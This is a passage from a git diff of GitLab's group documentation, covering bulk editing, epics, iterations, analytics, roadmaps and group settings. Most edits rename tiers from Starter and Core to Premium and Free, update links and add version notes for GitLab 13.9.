Cloud Pub/Sub -is used to forward logs to an [Elastic cluster](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#elastic) using [pubsubbeat](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#pubsubbeat-vms). +is used to forward logs to an [Elastic cluster](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#elastic) using [`pubsubbeat`](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#pubsubbeat-vms). You can view more information in our runbooks such as: diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md index 8db9c7fd76c..651bb7c055e 100644 --- a/doc/user/group/bulk_editing/index.md +++ b/doc/user/group/bulk_editing/index.md @@ -13,26 +13,26 @@ For more details, see [Bulk editing issues and merge requests at the project lev If you want to update attributes across multiple issues, epics, or merge requests in a group, you can do it by bulk editing them, that is, editing them together. -NOTE: Only the items visible on the current page are selected for bulk editing (up to 20).  ## Bulk edit issues at the group level -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7249) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.1. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7249) in GitLab 12.1. +> - Assigning epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in GitLab 13.2. +> - Editing health status [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218395) in GitLab 13.2. +> - Editing iteration [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196806) in GitLab 13.9. -NOTE: -You need a permission level of [Reporter or higher](../../permissions.md) to manage issues. +Users with permission level of [Reporter or higher](../../permissions.md) can manage issues. When bulk editing issues in a group, you can edit the following attributes: -- Epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in - [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.) **(PREMIUM)** -- Milestone -- Labels -- Health status ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218395) in - [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2.) **(ULTIMATE)** +- [Epic](../epics/index.md) +- [Milestone](../../project/milestones/index.md) +- [Labels](../../project/labels.md) +- [Health status](../../project/issues/index.md#health-status) +- [Iteration](../iterations/index.md) To update multiple project issues at the same time: @@ -46,8 +46,7 @@ To update multiple project issues at the same time: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7250) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2. -NOTE: -You need a permission level of [Reporter or higher](../../permissions.md) to manage epics. +Users with permission level of [Reporter or higher](../../permissions.md) can manage epics. When bulk editing epics in a group, you can edit their labels. @@ -63,8 +62,7 @@ To update multiple epics at the same time: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12719) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2. -NOTE: -You need a permission level of [Developer or higher](../../permissions.md) to manage merge requests. +Users with permission level of [Developer or higher](../../permissions.md) can manage merge requests. When bulk editing merge requests in a group, you can edit the following attributes: diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md index ea7629d1f10..d9167388e66 100644 --- a/doc/user/group/clusters/index.md +++ b/doc/user/group/clusters/index.md @@ -5,7 +5,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Group-level Kubernetes clusters +# Group-level Kubernetes clusters **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/34758) in GitLab 11.6. @@ -38,12 +38,12 @@ in the project namespace. If the project's cluster is available and not disabled, GitLab uses the project's cluster before using any cluster belonging to the group containing the project. -In the case of sub-groups, GitLab uses the cluster of the closest ancestor group +In the case of subgroups, GitLab uses the cluster of the closest ancestor group to the project, provided the cluster is not disabled. ## Multiple Kubernetes clusters -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35094) to GitLab Core in 13.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35094) in GitLab Free 13.2. You can associate more than one Kubernetes cluster to your group, and maintain different clusters for different environments, such as development, staging, and production. @@ -107,7 +107,7 @@ The domain should have a wildcard DNS configured to the Ingress IP address. When adding more than one Kubernetes cluster to your project, you need to differentiate them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the -[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) +[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables) work. While evaluating which environment matches the environment scope of a diff --git a/doc/user/group/contribution_analytics/index.md b/doc/user/group/contribution_analytics/index.md index 0dbd7af1214..09e899a61ba 100644 --- a/doc/user/group/contribution_analytics/index.md +++ b/doc/user/group/contribution_analytics/index.md @@ -4,7 +4,7 @@ stage: Manage group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Contribution Analytics **(STARTER)** +# Contribution Analytics **(PREMIUM)** > - Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 8.3. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3090) for subgroups in GitLab 12.2. diff --git a/doc/user/group/dependency_proxy/index.md b/doc/user/group/dependency_proxy/index.md deleted file mode 100644 index c4feed24132..00000000000 --- a/doc/user/group/dependency_proxy/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../packages/dependency_proxy/index.md' ---- - -This document was moved to [another location](../../packages/dependency_proxy/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md index 9cc7a35bc32..d4c1a5fc768 100644 --- a/doc/user/group/epics/manage_epics.md +++ b/doc/user/group/epics/manage_epics.md @@ -16,13 +16,15 @@ to them. > - The New Epic form [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211533) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. > - In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/229621) and later, the New Epic button on the Epics list opens the New Epic form. +> - In [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45948) and later, you can create a new epic from an empty Roadmap. To create an epic in the group you're in: 1. Get to the New Epic form: - - From the **Epics** list in your group, select the **New Epic** button. - - From an epic in your group, select the **New Epic** button. + - From the **Epics** list in your group, select **New epic**. + - From an epic in your group, select **New epic**. - From anywhere, in the top menu, select **New...** (**{plus-square}**) **> New epic**. + - In an empty [roadmap](../roadmap/index.md), select **New epic**.  @@ -39,7 +41,7 @@ To create an epic in the group you're in: ## Edit an epic -After you create an epic, you can edit change the following details: +After you create an epic, you can edit the following details: - Title - Description @@ -152,6 +154,9 @@ To make an epic confidential: ## Manage issues assigned to an epic +This section collects instructions for all the things you can do with [issues](../../project/issues/index.md) +in relation to epics. + ### Add a new issue to an epic You can add an existing issue to an epic, or create a new issue that's @@ -176,7 +181,7 @@ To add a new issue to an epic: - Search for the desired issue by entering part of the issue's title, then selecting the desired match (introduced in [GitLab 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/9126)). - If there are multiple issues to be added, press <kbd>Spacebar</kbd> and repeat this step. + If there are multiple issues to be added, press <kbd>Space</kbd> and repeat this step. 1. Select **Add**. #### Create an issue from an epic @@ -278,7 +283,7 @@ To add a child epic to an epic: - Search for the desired issue by entering part of the epic's title, then selecting the desired match (introduced in [GitLab 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/9126)). - If there are multiple epics to be added, press <kbd>Spacebar</kbd> and repeat this step. + If there are multiple epics to be added, press <kbd>Space</kbd> and repeat this step. 1. Select **Add**. ### Move child epics between epics diff --git a/doc/user/group/img/group_code_coverage_analytics_v13_7.png b/doc/user/group/img/group_code_coverage_analytics_v13_7.png Binary files differdeleted file mode 100644 index 769953b1355..00000000000 --- a/doc/user/group/img/group_code_coverage_analytics_v13_7.png +++ /dev/null diff --git a/doc/user/group/img/group_code_coverage_analytics_v13_9.png b/doc/user/group/img/group_code_coverage_analytics_v13_9.png Binary files differnew file mode 100644 index 00000000000..8cd71396381 --- /dev/null +++ b/doc/user/group/img/group_code_coverage_analytics_v13_9.png diff --git a/doc/user/group/import/img/bulk_imports_v13_8.png b/doc/user/group/import/img/bulk_imports_v13_8.png Binary files differindex 31234f9fcea..ae4d8567d80 100644 --- a/doc/user/group/import/img/bulk_imports_v13_8.png +++ b/doc/user/group/import/img/bulk_imports_v13_8.png diff --git a/doc/user/group/import/img/import_panel_v13_8.png b/doc/user/group/import/img/import_panel_v13_8.png Binary files differindex 1fb7fbad291..28d61785098 100644 --- a/doc/user/group/import/img/import_panel_v13_8.png +++ b/doc/user/group/import/img/import_panel_v13_8.png diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md index d051a134af1..f4d15dce1cd 100644 --- a/doc/user/group/import/index.md +++ b/doc/user/group/import/index.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import groups from another instance of GitLab **(CORE)** +# Import groups from another instance of GitLab **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/249160) in GitLab 13.7. > - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. @@ -16,7 +16,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w WARNING: This feature is [under construction](https://gitlab.com/groups/gitlab-org/-/epics/2771) and currently migrates only some of the Group data. Please see below for the full list of what is included in the migration at this time. -Using GitLab Group Migration, you can migrate existing top-level groups from GitLab.com or a self-managed instance. Groups can be migrated to a target instance, as a top-level group, or as a sub-group of any existing top-level group. +Using GitLab Group Migration, you can migrate existing top-level groups from GitLab.com or a self-managed instance. Groups can be migrated to a target instance, as a top-level group, or as a subgroup of any existing top-level group. The following resources are migrated to the target instance: diff --git a/doc/user/group/index.md b/doc/user/group/index.md index 069dea40ba5..4c63bae7e44 100644 --- a/doc/user/group/index.md +++ b/doc/user/group/index.md @@ -288,7 +288,7 @@ In [GitLab Premium or higher](https://about.gitlab.com/pricing/), GitLab adminis There are two different ways to add a new project to a group: -- Select a group, and then click **New project**. You can then continue [creating your project](../../gitlab-basics/create-project.md). +- Select a group, and then click **New project**. You can then continue [creating your project](../../user/project/working_with_projects.md#create-a-project).  @@ -301,7 +301,7 @@ There are two different ways to add a new project to a group: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2534) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.5. > - Brought to [GitLab Starter](https://about.gitlab.com/pricing/) in 10.7. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25975) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.10. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25975) to [GitLab Free](https://about.gitlab.com/pricing/) in 11.10. By default, [Developers and Maintainers](../permissions.md#group-members-permissions) can create projects under a group. @@ -327,7 +327,7 @@ A group's **Details** page includes tabs for: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207164) in GitLab [Starter](https://about.gitlab.com/pricing/) 12.10 as a [beta feature](https://about.gitlab.com/handbook/product/#beta) -The group details view also shows the number of the following items created in the last 90 days: **(STARTER)** +The group details view also shows the number of the following items created in the last 90 days: **(PREMIUM)** - Merge requests. - Issues. @@ -389,7 +389,7 @@ To share a given group, for example, 'Frontend' with another group, for example, All the members of the 'Engineering' group will have been added to 'Frontend'. -## Manage group memberships via LDAP **(STARTER ONLY)** +## Manage group memberships via LDAP **(PREMIUM SELF)** Group syncing allows LDAP groups to be mapped to GitLab groups. This provides more control over per-group user management. To configure group syncing edit the `group_base` **DN** (`'OU=Global Groups,OU=GitLab INT,DC=GitLab,DC=org'`). This **OU** contains all groups that will be associated with GitLab groups. @@ -400,10 +400,12 @@ For more information on the administration of LDAP and group sync, refer to the NOTE: If an LDAP user is a group member when LDAP Synchronization is added, and they are not part of the LDAP group, they will be removed from the group. -### Creating group links via CN **(STARTER ONLY)** +### Creating group links via CN **(PREMIUM SELF)** To create group links via CN: +<!-- vale gitlab.Spelling = NO --> + 1. Select the **LDAP Server** for the link. 1. Select `LDAP Group cn` as the **Sync method**. 1. In the **LDAP Group cn** text input box, begin typing the CN of the group. There will be a dropdown menu with matching CNs within the configured `group_base`. Select your CN from this list. @@ -412,7 +414,9 @@ To create group links via CN:  -### Creating group links via filter **(PREMIUM ONLY)** +<!-- vale gitlab.Spelling = YES --> + +### Creating group links via filter **(PREMIUM SELF)** To create group links via filter: @@ -424,7 +428,7 @@ To create group links via filter:  -### Overriding user permissions **(STARTER ONLY)** +### Overriding user permissions **(PREMIUM SELF)** In GitLab [8.15](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/822) and later, LDAP user permissions can now be manually overridden by an admin user. To override a user's permissions: @@ -455,20 +459,19 @@ Group wikis work the same way as [project wikis](../project/wiki/index.md), plea Group wikis can be edited by members with [Developer permissions](../../user/permissions.md#group-members-permissions) and above. +Group wiki repositories can be moved through the [Group repository storage moves API](../../api/group_repository_storage_moves.md). + ### Group wikis limitations There are a few limitations compared to project wikis: - Git LFS is not supported. -- Group wikis are not included in global search, group exports, and Geo replication. +- Group wikis are not included in global search and Geo replication. - Changes to group wikis don't show up in the group's activity feed. -- Group wikis [can't be moved](../../api/project_repository_storage_moves.md#limitations) using the project - repository moves API. For updates, you can follow: - [The epic tracking feature parity with project wikis](https://gitlab.com/groups/gitlab-org/-/epics/2782). -- [The issue for adding the ability to move group wikis using the API](https://gitlab.com/gitlab-org/gitlab/-/issues/219003). ## Group Security Dashboard **(ULTIMATE)** @@ -500,7 +503,7 @@ From GitLab 10.5, you can transfer groups in the following ways: When transferring groups, note: -- Changing a group's parent can have unintended side effects. See [Redirects when changing repository paths](../project/index.md#redirects-when-changing-repository-paths). +- Changing a group's parent can have unintended side effects. See [Redirects when changing repository paths](../project/repository/index.md#redirects-when-changing-repository-paths). - You can only transfer groups to groups you manage. - You must update your local repositories to point to the new location. - If the immediate parent group's visibility is lower than the group's current visibility, visibility levels for subgroups and projects will change to match the new parent group's visibility. @@ -523,7 +526,7 @@ access further configurations for your group. #### Changing a group's path Changing a group's path (group URL) can have unintended side effects. Read -[how redirects will behave](../project/index.md#redirects-when-changing-repository-paths) +[how redirects will behave](../project/repository/index.md#redirects-when-changing-repository-paths) before proceeding. If you are vacating the path so it can be claimed by another group or user, @@ -551,12 +554,12 @@ username, you can create a new group and transfer projects to it. You can change settings that are specific to repositories in your group. -#### Custom initial branch name **(CORE ONLY)** +#### Custom initial branch name **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43290) in GitLab 13.6. By default, when you create a new project in GitLab, the initial branch is called `master`. -For groups, a group administrator can customize the initial branch name to something +For groups, a group owner can customize the initial branch name to something else. This way, every new project created under that group from then on will start from the custom branch name rather than `master`. To do so: 1. Go to the **Group page > Settings > Repository** and expand **Default initial @@ -576,7 +579,7 @@ To remove a group and its contents: This action either: - Removes the group, and also queues a background job to delete all projects in that group. -- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/premium/) or higher tiers, this action adds a background job to mark a group for deletion. By default, the job schedules the deletion 7 days in the future. You can modify this waiting period through the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). +- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium](https://about.gitlab.com/pricing/premium/) or higher tiers, this action adds a background job to mark a group for deletion. By default, the job schedules the deletion 7 days in the future. You can modify this waiting period through the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). Since [GitLab 13.6](https://gitlab.com/gitlab-org/gitlab/-/issues/39504), if the user who sets up the deletion leaves or is otherwise removed from the group before the actual deletion happens, the job is cancelled, and the group is no longer scheduled for deletion. @@ -612,7 +615,7 @@ To enable this feature, navigate to the group settings page. Select  -#### Member Lock **(STARTER)** +#### Member Lock **(PREMIUM)** Member lock lets a group owner prevent any new project membership to all of the projects within a group, allowing tighter control over project membership. @@ -634,8 +637,8 @@ request to add a new user to a project through API will not be possible. #### IP access restriction **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1985) in [GitLab Ultimate and Gold](https://about.gitlab.com/pricing/) 12.0. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215410) to [GitLab Premium and Silver](https://about.gitlab.com/pricing/) in 13.1. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1985) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.0. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215410) to [GitLab Premium](https://about.gitlab.com/pricing/) in 13.1. NOTE: IP Access Restrictions are currently not functioning as expected on GitLab.com. Some users @@ -645,9 +648,9 @@ more information. To make sure only people from within your organization can access particular resources, you have the option to restrict access to groups and their -underlying projects, issues, etc, by IP address. This can help ensure that +underlying subgroups, projects, issues, and so on, by IP address. This can help ensure that particular content doesn't leave the premises, while not blocking off access to -the entire instance. +the entire instance. IP access restrictions can only be configured at the group level. Add one or more allowed IP subnets using CIDR notation to the group settings and anyone coming from a different IP address won't be able to access the restricted @@ -672,7 +675,7 @@ To enable this feature: #### Allowed domain restriction **(PREMIUM)** ->- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7297) in [GitLab Premium and Silver](https://about.gitlab.com/pricing/) 12.2. +>- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7297) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2. >- Support for specifying multiple email domains [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33143) in GitLab 13.1 You can restrict access to groups by allowing only users with email addresses in particular domains to be added to the group. @@ -702,6 +705,9 @@ To enable this feature: This will enable the domain-checking for all new users added to the group from this moment on. +NOTE: +Domain restrictions only apply to groups and do not prevent users from being added as members of projects owned by the restricted group. + #### Group file templates **(PREMIUM)** Group file templates allow you to share a set of templates for common file @@ -726,6 +732,9 @@ To enable this feature, navigate to the group settings page, expand the  +To learn how to create templates for issues and merge requests, visit +[Description templates](../project/description_templates.md). + #### Group-level project templates **(PREMIUM)** Define project templates at a group level by setting a group as the template source. @@ -765,7 +774,7 @@ To enable this feature: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2. By default, projects within a group are deleted immediately. -Optionally, on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, +Optionally, on [Premium](https://about.gitlab.com/pricing/) or higher tiers, you can configure the projects within a group to be deleted after a delayed interval. During this interval period, the projects will be in a read-only state and can be restored, if required. @@ -778,14 +787,14 @@ To enable delayed deletion of projects: 1. Click **Save changes**. NOTE: -The group setting for delayed deletion is not inherited by sub-groups and has to be individually defined for each group. +The group setting for delayed deletion is not inherited by subgroups and has to be individually defined for each group. #### Prevent project forking outside group **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216987) in GitLab 13.3. By default, projects within a group can be forked. -Optionally, on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, +Optionally, on [Premium](https://about.gitlab.com/pricing/) or higher tiers, you can prevent the projects within a group from being forked outside of the current top-level group. Previously this setting was available only for groups enforcing group managed account. This setting will be @@ -804,11 +813,11 @@ To enable prevent project forking: - **Webhooks**: Configure [webhooks](../project/integrations/webhooks.md) for your group. - **Kubernetes cluster integration**: Connect your GitLab group with [Kubernetes clusters](clusters/index.md). - **Audit Events**: View [Audit Events](../../administration/audit_events.md) - for the group. **(STARTER ONLY)** + for the group. **(PREMIUM SELF)** - **Pipelines quota**: Keep track of the [pipeline quota](../admin_area/settings/continuous_integration.md) for the group. - **Integrations**: Configure [integrations](../admin_area/settings/project_integration_management.md) for your group. -#### Group push rules **(STARTER)** +#### Group push rules **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34370) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/224129) in GitLab 13.4. @@ -824,12 +833,12 @@ When set, new subgroups have push rules set for them based on either: - The closest parent group with push rules defined. - Push rules set at the instance level, if no parent groups have push rules defined. -### Maximum artifacts size **(CORE ONLY)** +### Maximum artifacts size **(FREE SELF)** For information about setting a maximum artifact size for a group, see [Maximum artifacts size](../admin_area/settings/continuous_integration.md#maximum-artifacts-size). -## User contribution analysis **(STARTER)** +## User contribution analysis **(PREMIUM)** With [GitLab Contribution Analytics](contribution_analytics/index.md), you have an overview of the contributions (pushes, merge requests, @@ -844,17 +853,7 @@ With [GitLab Issue Analytics](issues_analytics/index.md), you can see a bar char > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263478) in GitLab 13.6. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/276003) in GitLab 13.7. -With [GitLab Repositories Analytics](repositories_analytics/index.md), you can download a CSV of the latest coverage data for all the projects in your group. - -### Check code coverage for all projects - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263478) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. - -See the overall activity of all projects with code coverage with [GitLab Repositories Analytics](repositories_analytics/index.md). - -It displays the current code coverage data available for your projects: - - +With [GitLab Repositories Analytics](repositories_analytics/index.md), you can view overall activity of all projects with code coverage. ## Dependency Proxy @@ -871,3 +870,13 @@ questions that you know someone might ask. Each scenario can be a third-level heading, e.g. `### Getting error message X`. If you have none to add when creating a doc, leave this section in place but commented out to help encourage others to add to it in the future. --> + +## DORA4 analytics overview **(ULTIMATE ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/291747) in GitLab [Ultimate](https://about.gitlab.com/pricing/) 13.9 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta). + +Group details include the following analytics: + +- Deployment Frequency + +For more information, see [DORA4 Project Analytics API](../../api/dora4_group_analytics.md). diff --git a/doc/user/group/issues_analytics/index.md b/doc/user/group/issues_analytics/index.md index 269be19f759..97f62becdb6 100644 --- a/doc/user/group/issues_analytics/index.md +++ b/doc/user/group/issues_analytics/index.md @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7478) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.5. Issue Analytics is a bar graph which illustrates the number of issues created each month. -The default timespan is 13 months, which includes the current month, and the 12 months +The default time span is 13 months, which includes the current month, and the 12 months prior. To access the chart, navigate to your group sidebar and select **{chart}** **Analytics > Issue Analytics**. diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md index 65d3129a825..8e125a0cc6e 100644 --- a/doc/user/group/iterations/index.md +++ b/doc/user/group/iterations/index.md @@ -5,15 +5,16 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Iterations **(STARTER)** +# Iterations **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214713) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.1. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214713) in GitLab 13.1. > - It was deployed behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) on GitLab 13.2. > - It's enabled on GitLab.com. > - It's able to be enabled or disabled per-group. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations). **(STARTER ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations). **(PREMIUM ONLY)** +> - Moved to GitLab Premium in 13.9. Iterations are a way to track issues over a period of time. This allows teams to track velocity and volatility metrics. Iterations can be used with [milestones](../../project/milestones/index.md) @@ -50,7 +51,7 @@ To create an iteration: ## Edit an iteration -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218277) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218277) in GitLab 13.2. NOTE: You need Developer [permissions](../../permissions.md) or higher to edit an iteration. @@ -59,14 +60,14 @@ To edit an iteration, click the three-dot menu (**{ellipsis_v}**) > **Edit itera ## Add an issue to an iteration -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in GitLab 13.2. To learn how to add an issue to an iteration, see the steps in [Managing issues](../../project/issues/managing_issues.md#add-an-issue-to-an-iteration). ## View an iteration report -> Viewing iteration reports in projects [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222763) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5. +> Viewing iteration reports in projects [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222763) in GitLab 13.5. You can track the progress of an iteration by reviewing iteration reports. An iteration report displays a list of all the issues assigned to an iteration and their status. @@ -79,8 +80,8 @@ To view an iteration report, go to the iterations list page and click an iterati ### Iteration burndown and burnup charts -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222750) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/269972) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222750) in GitLab 13.5. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/269972) in GitLab 13.7. The iteration report includes [burndown and burnup charts](../../project/milestones/burndown_and_burnup_charts.md), similar to how they appear when viewing a [milestone](../../project/milestones/index.md). @@ -104,7 +105,7 @@ To group issues by label: You can also search for labels by typing in the search input. 1. Click or tap outside of the label dropdown. The page is now grouped by the selected labels. -## Disable iterations **(STARTER ONLY)** +## Disable iterations **(PREMIUM SELF)** GitLab Iterations feature is deployed with a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md index fc4fb0236de..1cb7c05bb5f 100644 --- a/doc/user/group/repositories_analytics/index.md +++ b/doc/user/group/repositories_analytics/index.md @@ -12,6 +12,25 @@ info: To determine the technical writer assigned to the Stage/Group associated w WARNING: This feature might not be available to you. Check the **version history** note above for details. + + +## Current group code coverage + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263478) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. + +The **Analytics > Repositories** group page displays the overall test coverage of all your projects in your group. +In the **Overall activity** section, you can see: + +- The number of projects with coverage reports. +- The average percentage of coverage across all your projects. +- The total number of pipeline jobs that produce coverage reports. + +## Average group test coverage from the last 30 days + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215140) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.9. + +The **Analytics > Repositories** group page displays the average test coverage of all your projects in your group in a graph for the last 30 days. + ## Latest project test coverage list > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267624) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6. @@ -30,10 +49,10 @@ You can get a CSV of the code coverage data for all of the projects in your grou To get the report: 1. Go to your group's **Analytics > Repositories** page -1. Click **Download historic test coverage data (.csv)**, +1. Click **Download historic test coverage data (`.csv`)**, 1. In the popup, select the projects you want to include in the report. 1. Select the date range for the report from the preset options. -1. Click **Download test coverage data (.csv)**. +1. Click **Download test coverage data (`.csv`)**. The projects dropdown shows up to 100 projects from your group. If the project you want to check is not in the dropdown list, you can select **All projects** to download the report for all projects in your group, including any projects that are not listed. There is a plan to improve this behavior in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/250684). diff --git a/doc/user/group/roadmap/index.md b/doc/user/group/roadmap/index.md index f3b7be536ae..e2c01987e36 100644 --- a/doc/user/group/roadmap/index.md +++ b/doc/user/group/roadmap/index.md @@ -40,7 +40,8 @@ toggle the list of the milestone bars. > - Filtering roadmaps by milestone is [deployed behind a feature flag](../../feature_flags.md), enabled by default. > - Filtering roadmaps by milestone is enabled on GitLab.com. > - Filtering roadmaps by milestone is recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-filtering-roadmaps-by-milestone). **(PREMIUM ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-filtering-roadmaps-by-milestone). **(PREMIUM SELF)** +> - Filtering by epic confidentiality [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218624) in GitLab 13.8. WARNING: Filtering roadmaps by milestone might not be available to you. Check the **version history** note above for details. @@ -62,18 +63,18 @@ You can sort epics in the Roadmap view by: Each option contains a button that toggles the sort order between **ascending** and **descending**. The sort option and order persist when browsing Epics, including the [epics list view](../epics/index.md). -You can also filter epics in the Roadmap view by: +You can also filter epics in the Roadmap view by the epics': - Author - Label - Milestone -- Confidentiality of epics +- Confidentiality  Roadmaps can also be [visualized inside an epic](../epics/index.md#roadmap-in-epics). -### Enable or disable filtering roadmaps by milestone **(PREMIUM ONLY)** +### Enable or disable filtering roadmaps by milestone **(PREMIUM SELF)** Filtering roadmaps by milestone is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. diff --git a/doc/user/group/saml_sso/group_managed_accounts.md 